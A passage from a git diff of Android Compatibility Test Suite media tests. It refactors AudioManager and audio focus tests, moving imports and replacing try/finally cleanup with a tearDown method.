+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+            assertEquals("Focus gain not dispatched", AudioManager.AUDIOFOCUS_GAIN,
+                    focusListeners[0].getFocusChangeAndReset());
+            res = am.abandonAudioFocusRequest(focusRequests[0]);
+            assertEquals("2nd abandon failed", AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
+            focusRequests[0] = null;
+        }
+        finally {
+            for (int i = 0 ; i < NB_FOCUS_OWNERS ; i++) {
+                if (focusRequests[i] != null) {
+                    am.abandonAudioFocusRequest(focusRequests[i]);
+                }
+            }
+            if (h != null) {
+                h.getLooper().quit();
+            }
+        }
+    }
+
+    private static class FocusChangeListener implements OnAudioFocusChangeListener {
+        private final Object mLock = new Object();
+        private int mFocusChange = AudioManager.AUDIOFOCUS_NONE;
+
+        int getFocusChangeAndReset() {
+            final int change;
+            synchronized (mLock) {
+                change = mFocusChange;
+                mFocusChange = AudioManager.AUDIOFOCUS_NONE;
+            }
+            return change;
+        }
+
+        @Override
+        public void onAudioFocusChange(int focusChange) {
+            synchronized (mLock) {
+                mFocusChange = focusChange;
+            }
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/AudioFormatTest.java b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
index 100e3b4..e37f64e 100644
--- a/tests/tests/media/src/android/media/cts/AudioFormatTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
@@ -16,10 +16,11 @@
 
 package android.media.cts;
 
-import android.cts.util.CtsAndroidTestCase;
 import android.media.AudioFormat;
 import android.os.Parcel;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
 public class AudioFormatTest extends CtsAndroidTestCase {
 
     // -----------------------------------------------------------------
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerStub.java b/tests/tests/media/src/android/media/cts/AudioManagerStub.java
index 947acec..9e0c74c 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerStub.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerStub.java
@@ -19,7 +19,6 @@
 import android.media.cts.R;
 
 import android.app.Activity;
-import android.cts.util.CTSResult;
 import android.content.Context;
 import android.content.Intent;
 import android.media.AudioManager;
@@ -27,11 +26,18 @@
 import android.media.MediaPlayer;
 import android.os.Bundle;
 
+import com.android.compatibility.common.util.CTSResult;
+
 public class AudioManagerStub extends Activity {
     private final int MP3_TO_PLAY = R.raw.testmp3;
     private MediaPlayer mMediaPlayer;
     private AudioManager mAudioManager;
     private static CTSResult mCTSResult;
+    private static final int[] STREAM_TYPES = {
+            AudioManager.STREAM_VOICE_CALL, AudioManager.STREAM_SYSTEM,
+            AudioManager.STREAM_RING, AudioManager.STREAM_MUSIC, AudioManager.STREAM_ALARM,
+            AudioManager.STREAM_NOTIFICATION, AudioManager.STREAM_DTMF,
+            AudioManager.STREAM_ACCESSIBILITY };
 
     public static void setCTSResult(CTSResult cr) {
         mCTSResult = cr;
@@ -51,7 +57,7 @@
     protected void onPause() {
         super.onPause();
         try {
-            for (int i = 0; i < AudioSystem.getNumStreamTypes(); i++) {
+            for (int i : STREAM_TYPES) {
                 mAudioManager.setStreamMute(i, false);
                 mAudioManager.setStreamSolo(i, false);
             }
@@ -65,7 +71,7 @@
     protected void onResume() {
         super.onResume();
         try {
-            for (int i = 0; i < AudioSystem.getNumStreamTypes(); i++) {
+            for (int i : STREAM_TYPES) {
                 mAudioManager.setStreamMute(i, true);
                 mAudioManager.setStreamSolo(i, true);
             }
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index c6f740d..4c6eb27 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -27,6 +27,7 @@
 import static android.media.AudioManager.RINGER_MODE_SILENT;
 import static android.media.AudioManager.RINGER_MODE_VIBRATE;
 import static android.media.AudioManager.STREAM_MUSIC;
+import static android.media.AudioManager.STREAM_ACCESSIBILITY;
 import static android.media.AudioManager.USE_DEFAULT_STREAM_TYPE;
 import static android.media.AudioManager.VIBRATE_SETTING_OFF;
 import static android.media.AudioManager.VIBRATE_SETTING_ON;
@@ -45,6 +46,7 @@
 import android.provider.Settings;
 import android.provider.Settings.System;
 import android.test.InstrumentationTestCase;
+import android.util.Log;
 import android.view.SoundEffectConstants;
 
 public class AudioManagerTest extends InstrumentationTestCase {
@@ -58,6 +60,7 @@
     private boolean mUseFixedVolume;
     private boolean mIsTelevision;
     private Context mContext;
+    private final static int ASYNC_TIMING_TOLERANCE_MS = 50;
 
     @Override
     protected void setUp() throws Exception {
@@ -75,6 +78,11 @@
                 && (packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
                         || packageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION));
     }
+    @Override
+    protected void tearDown() throws Exception {
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), false);
+    }
 
     public void testMicrophoneMute() throws Exception {
         mAudioManager.setMicrophoneMute(true);
@@ -91,7 +99,7 @@
             mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
         } finally {
             Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), false);
+                    mContext.getPackageName(), getInstrumentation(), false);
         }
         Settings.System.putInt(mContext.getContentResolver(), SOUND_EFFECTS_ENABLED, 1);
 
@@ -190,165 +198,150 @@
         if (mUseFixedVolume || !mHasVibrator) {
             return;
         }
-        try {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            // VIBRATE_SETTING_ON
-            mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ON);
-            assertEquals(mHasVibrator ? VIBRATE_SETTING_ON : VIBRATE_SETTING_OFF,
-                    mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
-            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-            assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        // VIBRATE_SETTING_ON
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ON);
+        assertEquals(mHasVibrator ? VIBRATE_SETTING_ON : VIBRATE_SETTING_OFF,
+                mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
 
-            mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-            assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
+        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
 
-            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-            assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
-                    mAudioManager.getRingerMode());
-            assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
+        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+        assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
+                mAudioManager.getRingerMode());
+        assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
 
-            // VIBRATE_SETTING_OFF
-            mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_OFF);
-            assertEquals(VIBRATE_SETTING_OFF,
-                    mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
-            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-            assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
+        // VIBRATE_SETTING_OFF
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_OFF);
+        assertEquals(VIBRATE_SETTING_OFF,
+                mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
 
-            mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-            assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
+        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
 
-            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-            assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
-                    mAudioManager.getRingerMode());
-            assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
+        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+        assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
+                mAudioManager.getRingerMode());
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
 
-            // VIBRATE_SETTING_ONLY_SILENT
-            mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ONLY_SILENT);
-            assertEquals(mHasVibrator ? VIBRATE_SETTING_ONLY_SILENT : VIBRATE_SETTING_OFF,
-                    mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
-            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-            assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
+        // VIBRATE_SETTING_ONLY_SILENT
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ONLY_SILENT);
+        assertEquals(mHasVibrator ? VIBRATE_SETTING_ONLY_SILENT : VIBRATE_SETTING_OFF,
+                mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
 
-            mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-            assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
+        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
 
-            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-            assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
-                    mAudioManager.getRingerMode());
-            assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
+        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+        assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
+                mAudioManager.getRingerMode());
+        assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
 
-            // VIBRATE_TYPE_NOTIFICATION
-            mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ON);
-            assertEquals(mHasVibrator ? VIBRATE_SETTING_ON : VIBRATE_SETTING_OFF,
-                    mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
-            mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_OFF);
-            assertEquals(VIBRATE_SETTING_OFF, mAudioManager
-                    .getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
-            mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ONLY_SILENT);
-            assertEquals(mHasVibrator ? VIBRATE_SETTING_ONLY_SILENT : VIBRATE_SETTING_OFF,
-                    mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
-        } finally {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
-        }
+        // VIBRATE_TYPE_NOTIFICATION
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ON);
+        assertEquals(mHasVibrator ? VIBRATE_SETTING_ON : VIBRATE_SETTING_OFF,
+                mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_OFF);
+        assertEquals(VIBRATE_SETTING_OFF, mAudioManager
+                .getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ONLY_SILENT);
+        assertEquals(mHasVibrator ? VIBRATE_SETTING_ONLY_SILENT : VIBRATE_SETTING_OFF,
+                mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
     }
 
     public void testVibrateRinger() throws Exception {
         if (mUseFixedVolume || !mHasVibrator) {
             return;
         }
-        try {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            // VIBRATE_TYPE_RINGER
-            mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ON);
-            assertEquals(mHasVibrator ? VIBRATE_SETTING_ON : VIBRATE_SETTING_OFF,
-                    mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
-            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-            assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        // VIBRATE_TYPE_RINGER
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ON);
+        assertEquals(mHasVibrator ? VIBRATE_SETTING_ON : VIBRATE_SETTING_OFF,
+                mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
 
-            mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-            assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
+        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
 
-            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-            assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
-                    mAudioManager.getRingerMode());
-            assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
+        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+        assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
+                mAudioManager.getRingerMode());
+        assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
 
-            // VIBRATE_SETTING_OFF
-            mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_OFF);
-            assertEquals(VIBRATE_SETTING_OFF, mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
-            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-            assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
+        // VIBRATE_SETTING_OFF
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_OFF);
+        assertEquals(VIBRATE_SETTING_OFF, mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
 
-            mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-            assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
+        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
 
-            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-            assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
-                    mAudioManager.getRingerMode());
-            // Note: as of Froyo, if VIBRATE_TYPE_RINGER is set to OFF, it will
-            // not vibrate, even in RINGER_MODE_VIBRATE. This allows users to
-            // disable the vibration for incoming calls only.
-            assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
+        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+        assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
+                mAudioManager.getRingerMode());
+        // Note: as of Froyo, if VIBRATE_TYPE_RINGER is set to OFF, it will
+        // not vibrate, even in RINGER_MODE_VIBRATE. This allows users to
+        // disable the vibration for incoming calls only.
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
 
-            // VIBRATE_SETTING_ONLY_SILENT
-            mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ONLY_SILENT);
-            assertEquals(mHasVibrator ? VIBRATE_SETTING_ONLY_SILENT : VIBRATE_SETTING_OFF,
-                    mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
-            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-            assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
+        // VIBRATE_SETTING_ONLY_SILENT
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ONLY_SILENT);
+        assertEquals(mHasVibrator ? VIBRATE_SETTING_ONLY_SILENT : VIBRATE_SETTING_OFF,
+                mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
 
-            mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-            assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
+        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
 
-            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-            assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
-                    mAudioManager.getRingerMode());
-            assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
+        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+        assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
+                mAudioManager.getRingerMode());
+        assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
 
-            // VIBRATE_TYPE_NOTIFICATION
-            mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ON);
-            assertEquals(mHasVibrator ? VIBRATE_SETTING_ON : VIBRATE_SETTING_OFF,
-                    mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
-            mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_OFF);
-            assertEquals(VIBRATE_SETTING_OFF, mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
-            mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ONLY_SILENT);
-            assertEquals(mHasVibrator ? VIBRATE_SETTING_ONLY_SILENT : VIBRATE_SETTING_OFF,
-                    mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
-        } finally {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
-        }
+        // VIBRATE_TYPE_NOTIFICATION
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ON);
+        assertEquals(mHasVibrator ? VIBRATE_SETTING_ON : VIBRATE_SETTING_OFF,
+                mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_OFF);
+        assertEquals(VIBRATE_SETTING_OFF, mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ONLY_SILENT);
+        assertEquals(mHasVibrator ? VIBRATE_SETTING_ONLY_SILENT : VIBRATE_SETTING_OFF,
+                mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
     }
 
     public void testAccessRingMode() throws Exception {
-        try {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+
+        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+        // AudioService#setRingerMode() has:
+        // if (isTelevision) return;
+        if (mUseFixedVolume || mIsTelevision) {
             assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+        } else {
+            assertEquals(RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+        }
 
-            mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-            // AudioService#setRingerMode() has:
-            // if (isTelevision) return;
-            if (mUseFixedVolume || mIsTelevision) {
-                assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
-            } else {
-                assertEquals(RINGER_MODE_SILENT, mAudioManager.getRingerMode());
-            }
-
-            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-            if (mUseFixedVolume || mIsTelevision) {
-                assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
-            } else {
-                assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
-                        mAudioManager.getRingerMode());
-            }
-        } finally {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
+        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+        if (mUseFixedVolume || mIsTelevision) {
+            assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+        } else {
+            assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
+                    mAudioManager.getRingerMode());
         }
     }
 
@@ -356,32 +349,47 @@
         if (mUseFixedVolume || mIsTelevision) {
             return;
         }
+        // Apps without policy access cannot change silent -> normal or silent -> vibrate.
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+        assertEquals(RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), false);
+
         try {
-            // Apps without policy access cannot change silent -> normal or silent -> vibrate.
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-            assertEquals(RINGER_MODE_SILENT, mAudioManager.getRingerMode());
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
-
-            try {
-                mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-                fail("Apps without notification policy access cannot change ringer mode");
-            } catch (SecurityException e) {
-            }
-
-            try {
-                mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-                fail("Apps without notification policy access cannot change ringer mode");
-            } catch (SecurityException e) {
-            }
-
-            // Apps without policy access cannot change normal -> silent.
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
             mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-            assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+            fail("Apps without notification policy access cannot change ringer mode");
+        } catch (SecurityException e) {
+        }
+
+        try {
+            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+            fail("Apps without notification policy access cannot change ringer mode");
+        } catch (SecurityException e) {
+        }
+
+        // Apps without policy access cannot change normal -> silent.
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), false);
+
+        try {
+            mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+            fail("Apps without notification policy access cannot change ringer mode");
+        } catch (SecurityException e) {
+        }
+        assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+
+        if (mHasVibrator) {
+            // Apps without policy access cannot change vibrate -> silent.
+            Utils.toggleNotificationPolicyAccess(
+                    mContext.getPackageName(), getInstrumentation(), true);
+            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+            assertEquals(RINGER_MODE_VIBRATE, mAudioManager.getRingerMode());
             Utils.toggleNotificationPolicyAccess(
                     mContext.getPackageName(), getInstrumentation(), false);
 
@@ -390,33 +398,13 @@
                 fail("Apps without notification policy access cannot change ringer mode");
             } catch (SecurityException e) {
             }
+
+            // Apps without policy access can change vibrate -> normal and vice versa.
+            assertEquals(RINGER_MODE_VIBRATE, mAudioManager.getRingerMode());
+            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
             assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
-
-            if (mHasVibrator) {
-                // Apps without policy access cannot change vibrate -> silent.
-                Utils.toggleNotificationPolicyAccess(
-                        mContext.getPackageName(), getInstrumentation(), true);
-                mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-                assertEquals(RINGER_MODE_VIBRATE, mAudioManager.getRingerMode());
-                Utils.toggleNotificationPolicyAccess(
-                        mContext.getPackageName(), getInstrumentation(), false);
-
-                try {
-                    mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-                    fail("Apps without notification policy access cannot change ringer mode");
-                } catch (SecurityException e) {
-                }
-
-                // Apps without policy access can change vibrate -> normal and vice versa.
-                assertEquals(RINGER_MODE_VIBRATE, mAudioManager.getRingerMode());
-                mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-                assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
-                mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
-                assertEquals(RINGER_MODE_VIBRATE, mAudioManager.getRingerMode());
-            }
-        } finally {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
+            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+            assertEquals(RINGER_MODE_VIBRATE, mAudioManager.getRingerMode());
         }
     }
 
@@ -461,140 +449,185 @@
     }
 
     public void testVolume() throws Exception {
-        try {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            int volume, volumeDelta;
-            int[] streams = {AudioManager.STREAM_ALARM,
-                    AudioManager.STREAM_MUSIC,
-                    AudioManager.STREAM_VOICE_CALL,
-                    AudioManager.STREAM_RING};
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        int volume, volumeDelta;
+        int[] streams = {AudioManager.STREAM_ALARM,
+                AudioManager.STREAM_MUSIC,
+                AudioManager.STREAM_VOICE_CALL,
+                AudioManager.STREAM_RING};
 
-            mAudioManager.adjustVolume(ADJUST_RAISE, 0);
-            mAudioManager.adjustSuggestedStreamVolume(
-                    ADJUST_LOWER, USE_DEFAULT_STREAM_TYPE, 0);
-            int maxMusicVolume = mAudioManager.getStreamMaxVolume(STREAM_MUSIC);
+        mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+        // adjusting volume is aynchronous, wait before other volume checks
+        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+        mAudioManager.adjustSuggestedStreamVolume(
+                ADJUST_LOWER, USE_DEFAULT_STREAM_TYPE, 0);
+        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+        int maxMusicVolume = mAudioManager.getStreamMaxVolume(STREAM_MUSIC);
 
-            for (int i = 0; i < streams.length; i++) {
-                // set ringer mode to back normal to not interfere with volume tests
-                mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        for (int stream : streams) {
+            // set ringer mode to back normal to not interfere with volume tests
+            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
 
-                int maxVolume = mAudioManager.getStreamMaxVolume(streams[i]);
-                int minVolume = mAudioManager.getStreamMinVolume(streams[i]);
+            int maxVolume = mAudioManager.getStreamMaxVolume(stream);
+            int minVolume = mAudioManager.getStreamMinVolume(stream);
 
-                // validate min
-                assertTrue(String.format("minVolume(%d) must be >= 0", minVolume), minVolume >= 0);
-                assertTrue(String.format("minVolume(%d) must be < maxVolume(%d)", minVolume,
-                        maxVolume),
-                        minVolume < maxVolume);
+            // validate min
+            assertTrue(String.format("minVolume(%d) must be >= 0", minVolume), minVolume >= 0);
+            assertTrue(String.format("minVolume(%d) must be < maxVolume(%d)", minVolume,
+                    maxVolume),
